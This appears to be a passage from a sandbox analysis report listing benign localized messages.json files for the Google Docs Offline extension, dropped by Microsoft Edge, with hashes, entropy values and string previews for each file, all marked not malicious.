Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
